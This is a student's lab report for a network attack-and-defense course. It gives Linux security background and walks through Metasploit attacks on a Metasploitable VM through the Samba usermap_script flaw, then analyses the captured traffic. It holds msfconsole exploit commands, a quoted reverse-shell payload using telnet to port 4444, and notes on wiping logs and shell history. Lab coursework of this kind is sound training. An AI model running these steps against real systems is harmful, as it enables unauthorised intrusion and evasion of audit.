20212928 2021-2022-2 《网络攻防实践》第9周作业
1.实践基础知识
1)Linux操作系统基本框架概述
Linux系统结构
-
Linux进程与线程管理机制
Linux采用抢占式多用户进程模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制
块结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程进行执行。 -
Linux的内存管理机制
Linux的内存管理模块MM,允许多个进程安全地共享物理内存区域。Linux支持虚拟内存管理,在32位机器上,每个进程拥有独立的4GB虚拟内存空间,其中内
核的代码与数据段被映射到3GB以上的空间,用户态代码申请的虚拟内存空间为0-3GB区间,每个进程使用两套段描述符分别访问内核态和用户态的内存空间。 -
Linux的文件系统管理机制
虚拟文件管理VFS机制,使得其能够支持数十种不同类型的逻辑文件系统,VFS为用户进程提供了一组通用的文件系统调用函数,可以对不同文件系统中的文件进行统一操作。 -
Linux的设备控制机制
处理或者管理硬件控制器的软件叫做设备驱动程序。Linux的一个基本特点是抽象了设备的处理,所有硬件设备都像常规文件一样看待。Linux支持三类硬件设备:字符设备、块设备和网络设备。 -
Linux的网络机制
网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络协议栈实现每一种可能的网络传输协议;
网络设备驱动程序负责与硬件设备通信,每一种硬件设备都有相应的设备驱动程序。
- Linux的系统调用机制
Linux提供系统调用接口,允许应用程序透过接口访问硬件设备和其他系统资源,有助于保证Linux系统的稳定可靠和安全,并为用户空间提供了一种统一的抽象接口,有助于应用程序的跨平台移植。
2)Linux操作系统安全机制
Linuxs身份认证机制
-
Linux用户(用户信息保存在系统的/etc/passwd文件中,加密口令字则存放千/etc/shadow文件中):
-
Root根用户, 权限最高, 可以操作系统中 任何的文件与命令
-
普通用户, 由使用者创建, 只能操作自己目录中的内容, 执行权限受限
-
系统用户,这类用户不具有登录系统的能力,但却是系统运行不可缺少的用户
-
-
Linux用户组(用户组信息保存在系统的/etc/group文件中,用户组加密口令字则保存在/etc/gshadow文件中):具有相同特征的用户账号集合。
-
Linux的本地登录用户认证机制:由init进程启动getty产生若干个虚拟控制台(如ttyI, tty2等)。 在控制台上显示登录,当用户敲入用户时,getty执行登录(login)进程,
进入登录认证过程, 认证成功后, 登录进程会fork相应用户 Shell的子进程, 至此宪成登录过程, 用户可以在对应的 Shell下开始工作。 -
Linux的远程登录用户认证机制:inux系统普遍使用SSH服务来进行远程用户登录与网络访问, SSH提供两种方式的用户身份认证机制:
第一种方式为基千口令的身份认证 ;第二种方式为基千非对称密钥的身份认证。 -
Linux的统一身份认证中间件一一PAM:PAM通过动态链接库和一套统一的api,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要,
给不同的服务配置不同的认证方式而无须更改服务程序, 同时也便于向系统中添加新的认证手段。
Linux授权与访问控制机制
-
文件所有者:linux把所有的东西都看成文件。每个linux文件都有其所有者。可以通过chown命令来改变文件的所有者。
-
访问权限:linux文件的详细描述可以看出10个标志位。第一个标志位代表文件的类型,之后9个标志位3个为一组。例如第一组为rwx,意思是所有者用拥有读(r)
写(w)执行(x)的权限。第二组第三组分别为同组内其他用户的权限,其他用户的权限。如果没有权限,用-表示。如r--,意思是只有读的权限。 -
执行权限:上面说的除了读写之外还有一个执行权限,常见的是SUID和SGID权限。SUID是党执行者再执行权限的时候,会将自己的权限提升到所有者的权限。如果
说一个文件设置了SUID位,而这个文件的所有者是root,那某个用户在执行这个文件的时候,就有了root文件权限。
Linux安全审计机制
-
主要通过三个日志子系统来实现
-
连接时间日志 由多个程序执行,使系统管理员能够跟组谁在何时登录到系统
-
进程统计日志 当一个进程终止时,为每个进程往进程统计文件中写一个记录
-
错误日志记录 由通用日志记录服务执行
-
3)Linux系统远程攻防技术
Linux远程口令字猜测攻击
-
利用Linux系统上的finger、rusers和sendmail之类的服务列举出目标系统上的用户账户名,即可猜测相关口令
-
Linux系统上的HTTP/HTTPS、FTP等网络服务拥有自己的用户账户体系和身份认证机制,可通过远程口令猜测获得网络服务的访问权,从而获取系统的本地访问权。
-
远程猜测口令工具常用的有Brutus、THC Hydra、Cain and Abel等。
-
对于远程口令猜测攻击的最佳防御措施就是使用不易猜中的强口令字
Linux网络服务远程渗透
-
最重要的攻击渠道:对监听网络服务安全漏洞的渗透利用,主要包括
-
Linux内核中的网络协议栈攻击
-
LAMP WEB网站中的网络服务攻击
-
Samba等文件共享服务攻击
-
电子邮件收发服务攻击
-
其他网络服务的攻击:如OpenSSH、Openssl、NFS等
-
-
防范措施包括:
-
禁用所有不必要的网络服务
-
尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署
-
及时更新网络服务版本
-
使用xinetd、防火墙为Linux网络服务添加网络访问控制机制
-
建立入侵检测与应急响应计划流程
-
攻击Linux客户端程序和用户
-
攻击Linux平台的客户端程序
-
常用web浏览器攻击和电子邮件客户端攻击
-
攻击Linux系统用户
- 对服务器管理员进行Google hacking获取管理员各方面信息
-
防范措施
-
及时更新软件
-
提高自身抗欺骗能力
-
在下载软件的时候通过官方下载渠道,并校验MD5
-
攻击Linux路由器和监听器
-
攻击Linux路由器和防火墙
- 路由器模式运行时,可能被攻击者利用实施拒绝服务攻击
- 路由器模式运行时,可能被攻击者利用实施拒绝服务攻击
-
攻击监听器&入侵检测器
- 开源软件主要包括libpcap抓包库、tcpdump命令行程序、wireshark、snort等
- 开源软件主要包括libpcap抓包库、tcpdump命令行程序、wireshark、snort等
-
针对路由器与监听器攻击的安全防范措施
-
网络管理员建立一种安全对抗与博弈的意识
-
意识到网络与安全设备的自身的安全性与可用性
-
站在攻击者角度尝试进行渗透攻击测试
Linux系统本地安全攻防技术
-
Linux本地特权提升
-
最简单的特权提升途径就是能够破解出Root 用户的口令,然后执行 SU 或sudo命令进行提升
-
第二种特权提升途径是发掘并利用 SU 或sudo程序中的安全漏洞
-
目前最为流行的途径是直接攻击那些具有Root特权程序中的任意代码执行淄洞,让它们替攻击者打开具有Root权限的Shell命令行连接,
这类 途径又分为攻击用户态SUID特权提升漏洞以及攻击Linux内核代码特权提升漏洞 -
最后一种本地特权提升技术则利用了系统中的一些配置不当, 通过从系统中搜索全局 可写的敏感文件与目录位置并加以利用
Linux系统上的消踪灭迹
-
查看/etc/syslog.conf 配省文件内容,来了解系统当前正在实施的审计事件类型以及日志的存储位置
-
在/var/log 目录下攻击者往往需要改动 messages、 authe、cure、 wtmp 和 xferlog 等日志文件
-
攻击者还而要清理的是自己在 Shell 程序中所输入的命令历史记录, Linux 系统中的很多 Shell 程序都记录运行过的历史命令,
以提供检索和重复执行命令的功能
Linux系统远程控制后门
-
主要类型有:
-
特洛伊木马化的系统程序
-
命令行后门工具:提供远程命令行shell的访问,通常是使用Netcat等后门工具在系统上运行,开放监听一个TCP端口,在接收到
请求之后返回一个Linux系统 -
shell与客户端进行交互。
-
图形化后门工具:最为常用的是图形化远程控制免费软件VNC。
-
2.实践过程
(1)使用Metasploit进行Linux远程渗透攻击
- 任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
具体步骤如下:
实验环境如下:
名称 | IP |
---|---|
Kali | 192.168.200.4 |
Metasploitable | 192.168.200.3 |
1)打开Kali,输入sudo su命令进行提权,之后输入msfconsole,截图如下:
2)之后,输入命令search samba,截图如下:
找到题目中要求的Usermap_script安全漏洞,如下图
3)* 执行命令use exploit/multi/samba/usermap_script选择渗透攻击模块
- 执行命令show payloads查看攻击负载模块,如下图:
之后执行命令set PAYLOAD cmd/unix/reverse设置攻击载荷,此载荷是支持双向连接
执行命令set LHOST 192.168.200.4设置攻击机为kali
执行命令set RHOST 192.168.200.123 设置靶机为Metasploitable
具体如下图:
4)输入命令show options,如下图
5),之后输入run进行攻击,但是出现如下图所示,
设置靶机的网络,将其设置成VMnet1仅主机模式即可如下图:
之后靶机的IP地址变成192.168.200.3,然后重复上述步骤,再次攻击,如下图:
发现还是不成功,究其原因,payload设置有误,
修改后再次进行攻击:就可以发现或得到了远程Shell,权限如下:
做了三遍,终于成功了!
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、
目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
实验环境如下:
名称 | IP |
---|---|
Kali | 192.168.200.4 |
Metasploitable | 192.168.200.3 |
1)首先,输入命令msfconsole打开软件
然后打开wireshark,准备监听eth0,抓包,如下图
2)输入 search vsFtp,发现有有一个模块漏洞,如下图所示:
3)接下来输入命令 use exploit/unix/ftp/vsftpd——234——backdoor,看此模块是否可以进行渗透攻击
4)接下来,输入命令show payloads,看一下有哪些可用的攻击负载,如下图
5)输入命令如图set payload cmd/unix/interact,设置攻击负载,之后执行命令set LHOST 192.168.200.4设置攻击机为kali
执行命令set RHOSTS 192.168.200.3 设置靶机为Metasploitable,输入run进行攻击,但发现如下图,没有会话建立(虽然可以ping通)
尝试几次后都是该问题。
6)被迫我只好用实验一的漏洞进行再次进行实验,作为攻击方我们的实验步骤如上所述,主要截图如下所示:
之后我们输入命令shell,ls以及id,如下图所示,我们可以获取靶机的远程控制权限,并获得了root权限。
- 接下来,作为防守方,我们利用wireshark进行了如下分析:
1)由下图建立TCP三次握手过程中提出连接请求的数据包中进行分析,我们可以发现,攻击者的IP:192.168.200.4,端口:36237;靶机的IP:192.168.200.3,端口:139。
查询可知端口139是Unix中的Samba服务端口,由此可得攻击者利用了Samba服务漏洞进行攻击。
2)由下图我们可以查看TCP建立连接时间是2022年4月27日下午4:10,这与我们的攻击时间是一致的
3)接下来,经过查找,找到第一个SMB数据包,如下图所示,追踪TCP数据流,找到shellcode,nohup是no hang up的缩写,意为“不挂断”,作用是可以使命一直执行下去,而和用户终端无关;
telnet 192.168.11.146 4444表明是通过4444号端口将数据传入攻击机的;sh是运行shell的命令。
4)通过追踪相关TCP包的TCP流,分析后可以看到攻击成功之后在本地执行了我们作为攻击方的命令,具体如下图
3.学习中遇到的问题及解决
问题1:在进行第一个实验时,前两遍都没有攻击成功,找了好久的原因,如下图:
解决1:经过分析,我发现网络设置有问题,第二次是payload设置有问题,具体修改见以上实验过程。经过前两次的试错,第三次我成功了。
问题2:做完第一个实验后,进行第二个时,靶机的IP地址没了,具体如下图
解决2:经过重启、拔网线都不管用,最后经过寻求老师的帮助,我通过获取靶机的root权限,对靶机的IP地址进行修改,指令如下:ifconfig eth0 192.168.
200.3给 eth0 网卡配置 IP 地:192.168.200.3,设置后再重启即可解决。
4.学习感想和体会
本次实验虽然简单,但在做的过程中也是出现了各种各样的问题,但自己也通过亲手做攻防,作为攻击方的攻击和防守方的防守过程自己也更加熟悉,并从出现问题到解决问题中
体会到了学习的乐趣;同时,对于攻防问题的研究以及出现问题后如何处理我学到了属于自己的一套方法。